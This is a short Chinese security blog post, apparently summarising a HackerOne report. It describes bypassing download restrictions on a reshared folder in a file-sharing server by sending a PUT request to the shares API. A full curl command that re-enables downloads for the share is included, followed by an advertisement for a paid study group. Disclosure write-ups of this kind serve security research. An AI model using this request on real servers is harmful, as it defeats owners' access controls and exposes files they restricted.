通过改变请求方法实现权限绕过
原创
h1
h1
迪哥讲事
2026年6月24日 11:00
四川
在小说阅读器读本章
去阅读
正文
假设存在一条企业全域共享:用户可从该共享中转存文件,但无法直接下载。举例说明:
用户 1 创建文件夹共享,开启二次转发权限、关闭下载权限,共享 ID 为 10,并分享给用户 2;
用户 2 再将该文件夹二次共享给用户 3,生成共享 ID 为 11,上述流程原本符合系统权限规则。
但用户 2 可直接发送 PUT 接口请求:
curl -u user2:pass 'https://SERVER/ocs/v2.php/apps/files_sharing/api/v1/shares/11' -X PUT -H \"OCS-APIREQUEST: true\" -H 'Content-Type: application/json' --data-raw '{\"permissions\":\"17\",\"attributes\":\"[{\\\"scope\\\":\\\"permissions\\\",\\\"key\\\":\\\"download\\\",\\\"enabled\\\":true}]\"}'
执行后即可绕过限制,取消安全预览约束,让用户 3 能够直接下载文件。
如果你是一个长期主义者,欢迎加入我的知识星球,本星球日日更新,包含号主大量一线实战,全网独一无二,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款
往期回顾
如何利用ai辅助挖漏洞
如何在移动端抓包-下
如何绕过签名校验
参考
https://hackerone.com/reports/1724016
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论